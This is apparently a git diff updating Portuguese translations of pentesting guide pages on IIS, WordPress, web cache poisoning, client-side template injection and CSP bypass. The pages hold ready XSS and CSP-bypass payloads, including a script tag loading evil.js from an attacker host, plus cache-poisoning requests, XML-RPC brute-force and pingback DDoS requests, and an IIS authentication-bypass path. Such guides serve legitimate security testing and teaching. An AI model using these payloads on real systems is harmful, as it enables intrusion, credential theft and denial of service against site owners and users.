Isso sugere a presença de outras DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
|
||||
|
||||
Em um cenário onde um DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outros DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outro DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
Em um cenário onde uma DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outras DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outra DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||||
|
||||
### Arquivos comuns
|
||||
|
||||
@ -187,17 +187,17 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
Se você ver um erro como o seguinte:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Isso significa que o servidor **não recebeu o nome de domínio correto** dentro do cabeçalho Host.\
|
||||
Para acessar a página da web, você pode dar uma olhada no **Certificado SSL** servido e talvez encontre o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar **forçar VHosts** até encontrar o correto.
|
||||
|
||||
## Vulnerabilidades antigas do IIS que valem a pena procurar
|
||||
## Vulnerabilidades antigas do IIS que valem a pena investigar
|
||||
|
||||
### Vulnerabilidade/Recurso do caractere til “\~” do Microsoft IIS – Divulgação de Nome de Arquivo/Pasta Curto
|
||||
|
||||
Você pode tentar **enumerar pastas e arquivos** dentro de cada pasta descoberta (mesmo que exija Autenticação Básica) usando esta **técnica**.\
|
||||
A principal limitação dessa técnica, se o servidor for vulnerável, é que **ela pode encontrar apenas até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
|
||||
A principal limitação desta técnica, se o servidor for vulnerável, é que **ela pode encontrar apenas até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
|
||||
|
||||
Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar essa vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
@ -213,9 +213,9 @@ Uma boa ideia para **encontrar o nome final** dos arquivos descobertos é **perg
|
||||
|
||||
**Bypass** de uma autenticação básica (**IIS 7.5**) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Você pode tentar **misturar** essa **vulnerabilidade** e a última para encontrar novas **pastas** e **burlar** a autenticação.
|
||||
Você pode tentar **misturar** essa **vulnerabilidade** com a última para encontrar novas **pastas** e **bypass** a autenticação.
|
||||
|
||||
## Depuração do ASP.NET Trace.AXD habilitada
|
||||
## Depuração habilitada do ASP.NET Trace.AXD
|
||||
|
||||
ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`.
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
- No **wp-config.php** você pode encontrar a senha root do banco de dados.
|
||||
- Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Principais Arquivos do WordPress**
|
||||
### **Arquivos Principais do WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contém informações úteis, como a versão do WordPress instalada.
|
||||
@ -32,7 +32,7 @@
|
||||
|
||||
- O arquivo `wp-config.php` contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves de autenticação e sais, e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
|
||||
|
||||
### Permissões de Usuários
|
||||
### Permissões dos Usuários
|
||||
|
||||
- **Administrador**
|
||||
- **Editor**: Publica e gerencia suas postagens e as de outros
|
||||
@ -112,7 +112,7 @@ Se `xml-rpc.php` estiver ativo, você pode realizar um ataque de força bruta de
|
||||
Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
|
||||
|
||||
**Verificar**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
<params></params>
|
||||
@ -122,8 +122,8 @@ Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitaç
|
||||
|
||||
**Bruteforce de Credenciais**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para bruteforce de credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
|
||||
```markup
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para realizar bruteforce de credenciais. Se você conseguir encontrar algum deles, pode enviar algo como:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
<params>
|
||||
@ -139,7 +139,7 @@ A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta com c
|
||||
.png>)
|
||||
|
||||
Usando as credenciais corretas, você pode fazer o upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```markup
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
<methodName>wp.uploadFile</methodName>
|
||||
@ -174,13 +174,13 @@ Também há uma **maneira mais rápida** de forçar credenciais usando **`system
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda poderá chegar a RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ou varredura de portas**
|
||||
|
||||
Se você conseguir encontrar o método _**pingback.ping**_ na lista, pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\
|
||||
Isso pode ser usado para pedir **milhares** de **sites** Wordpress para **acessar** uma **localização** (causando assim um **DDoS** nessa localização) ou você pode usá-lo para fazer o **Wordpress** **escanear** alguma **rede** interna (você pode indicar qualquer porta).
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params><param>
|
||||
@ -196,7 +196,7 @@ Se você receber **faultCode** com um valor **maior** que **0** (17), isso signi
|
||||
Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
|
||||
|
||||
**DDoS**
|
||||
```markup
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
<params>
|
||||
@ -210,7 +210,7 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende
|
||||
### wp-cron.php DoS
|
||||
|
||||
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
|
||||
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então poderia ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
|
||||
|
||||
É recomendado desabilitar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
|
||||
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
|
||||
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los.
|
||||
|
||||
## Ferramentas Automáticas
|
||||
## Automatic Tools
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -293,13 +293,13 @@ Acesse-o e você verá a URL para executar o shell reverso:
|
||||
|
||||
.png>)
|
||||
|
||||
### Carregando e ativando plugin malicioso
|
||||
### Fazendo upload e ativando plugin malicioso
|
||||
|
||||
Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e pode ser explorado para obter um web shell. Este processo é realizado através do painel do WordPress da seguinte forma:
|
||||
|
||||
1. **Aquisição do Plugin**: O plugin é obtido de uma fonte como o Exploit DB como [**aqui**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalação do Plugin**:
|
||||
- Navegue até o painel do WordPress, em seguida, vá para `Dashboard > Plugins > Upload Plugin`.
|
||||
- Navegue até o painel do WordPress, em seguida, vá para `Painel > Plugins > Fazer Upload do Plugin`.
|
||||
- Faça o upload do arquivo zip do plugin baixado.
|
||||
3. **Ativação do Plugin**: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do painel.
|
||||
4. **Exploração**:
|
||||
@ -307,13 +307,13 @@ Este método envolve a instalação de um plugin malicioso conhecido por ser vul
|
||||
- O framework Metasploit fornece um exploit para essa vulnerabilidade. Carregando o módulo apropriado e executando comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
|
||||
- É observado que este é apenas um dos muitos métodos para explorar um site WordPress.
|
||||
|
||||
O conteúdo inclui recursos visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
|
||||
O conteúdo inclui auxílios visuais que retratam os passos no painel do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa maneira é ilegal e antiético sem a devida autorização. Essas informações devem ser usadas de forma responsável e apenas em um contexto legal, como testes de penetração com permissão explícita.
|
||||
|
||||
**Para passos mais detalhados, confira:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## De XSS a RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma **vulnerabilidade de Cross-Site Scripting (XSS)** para **Execução Remota de Código (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite:**
|
||||
- _**Escalação de Privilégios:**_ Cria um usuário no WordPress.
|
||||
- _**(RCE) Upload de Plugin Personalizado (backdoor):**_ Faça o upload do seu plugin personalizado (backdoor) para o WordPress.
|
||||
- _**(RCE) Edição de Plugin Integrado:**_ Edite Plugins Integrados no WordPress.
|
||||
@ -334,11 +334,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Superfície de Ataque
|
||||
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode descobrir como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode encontrar como um plugin pode expor funcionalidades nos seguintes pontos e alguns exemplos de plugins vulneráveis em [**este post do blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
|
||||
Uma das maneiras que um plugin pode expor funções para os usuários é através de manipuladores AJAX. Estes podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante frequente que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que **qualquer usuário autenticado na instância do Wordpress pode ter** (independentemente de seu papel).
|
||||
|
||||
Estas são as funções que podem ser usadas para expor uma função em um plugin:
|
||||
```php
|
||||
@ -380,7 +380,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Também, **instale apenas plugins e temas do WordPress confiáveis**.
|
||||
Também, **instale apenas plugins e temas confiáveis do WordPress**.
|
||||
|
||||
### Plugins de Segurança
|
||||
|
||||
|
||||
@ -38,7 +38,7 @@ No entanto, note que **às vezes esses tipos de códigos de status não são arm
|
||||
### Descoberta: Identificar e avaliar entradas não chaveadas
|
||||
|
||||
Você poderia usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **forçar parâmetros e cabeçalhos** que podem estar **mudando a resposta da página**. Por exemplo, uma página pode estar usando o cabeçalho `X-Forwarded-For` para indicar ao cliente que carregue o script a partir daí:
|
||||
```markup
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### Elicitar uma resposta prejudicial do servidor back-end
|
||||
@ -47,7 +47,7 @@ Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanit
|
||||
|
||||
### Obter a resposta em cache
|
||||
|
||||
Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer a página ser armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.
|
||||
Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer com que a página seja armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.
|
||||
|
||||
O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\
|
||||
O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`
|
||||
@ -64,7 +64,7 @@ Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que
|
||||
|
||||
Um cabeçalho como `X-Forwarded-For` está sendo refletido na resposta sem sanitização.\
|
||||
Você pode enviar um payload básico de XSS e envenenar o cache para que todos que acessarem a página sejam XSSados:
|
||||
```markup
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
@ -79,8 +79,8 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
|
||||
|
||||
Cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
|
||||
```markup
|
||||
Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Envenenamento de cache com travessia de caminho para roubar chave da API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
|
||||
[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
|
||||
|
||||
Isso também é explicado melhor em:
|
||||
|
||||
@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
|
||||
```markup
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
@ -117,7 +117,7 @@ X-Forwarded-Scheme: http
|
||||
### Explorando com o cabeçalho `Vary` limitado
|
||||
|
||||
Se você descobriu que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS**, mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**. Então, você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent:
|
||||
```markup
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
@ -206,7 +206,7 @@ Outras coisas a testar:
|
||||
- _Use extensões menos conhecidas como_ `.avif`
|
||||
|
||||
Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
|
||||
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache irá salvar o resultado.\
|
||||
Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.
|
||||
|
||||
Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).
|
||||
|
||||
@ -31,7 +31,7 @@ Você pode encontrar uma **implementação vulnerável do Vue** em [https://vue-
|
||||
Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
||||
|
||||
E o **código fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
```markup
|
||||
```html
|
||||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
@ -49,7 +49,7 @@ Crédito: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/res
|
||||
```
|
||||
Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||
|
||||
**Confira mais payloads VUE em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
**Ver mais payloads VUE em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
|
||||
## Mavo
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## O que é CSP
|
||||
|
||||
Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir dos quais recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
Content Security Policy (CSP) é reconhecido como uma tecnologia de navegador, principalmente voltada para **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como `eval`, `setTimeout` ou `setInterval`.
|
||||
|
||||
A implementação do CSP é realizada através de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.
|
||||
|
||||
@ -64,7 +64,7 @@ object-src 'none';
|
||||
|
||||
- `*`: Permite todas as URLs, exceto aquelas com esquemas `data:`, `blob:`, `filesystem:`.
|
||||
- `'self'`: Permite carregamento do mesmo domínio.
|
||||
- `'data'`: Permite que recursos sejam carregados via esquema de dados (por exemplo, imagens codificadas em Base64).
|
||||
- `'data'`: Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).
|
||||
- `'none'`: Bloqueia o carregamento de qualquer fonte.
|
||||
- `'unsafe-eval'`: Permite o uso de `eval()` e métodos semelhantes, não recomendado por razões de segurança.
|
||||
- `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
||||
@ -133,7 +133,7 @@ Se você conseguir de alguma forma fazer um **código JS permitido criar uma nov
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Carga útil funcional:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
@ -144,7 +144,7 @@ Carga útil funcional:
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Payloads funcionais:
|
||||
```markup
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
@ -155,11 +155,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Se você puder fazer upload de um arquivo JS, pode contornar este CSP:
|
||||
|
||||
Payload funcional:
|
||||
```markup
|
||||
Carga útil funcional:
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie tipos determinados de arquivos**.
|
||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie determinados tipos de arquivos**.
|
||||
|
||||
Além disso, mesmo que você conseguisse enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não seria suficiente porque alguns servidores, como o servidor Apache, **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **rejeitam executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que **o Apache não conhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.
|
||||
|
||||
@ -167,7 +167,7 @@ A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir en
|
||||
|
||||
### Form-action
|
||||
|
||||
Se não for possível injetar JS, você ainda pode tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais **injetando uma ação de formulário** (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um [**exemplo neste relatório**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Além disso, observe que `default-src` não cobre ações de formulário.
|
||||
|
||||
### Endpoints de Terceiros + ('unsafe-eval')
|
||||
|
||||
@ -197,11 +197,11 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([veja este post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads usando Angular + uma biblioteca com funções que retornam o objeto `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
|
||||
```markup
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
<div ng-app ng-csp>
|
||||
@ -275,7 +275,7 @@ Abusando \*.google.com/script.google.com
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista de permissões pode ser contornado usando JSONP. Endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, payload funcional:
|
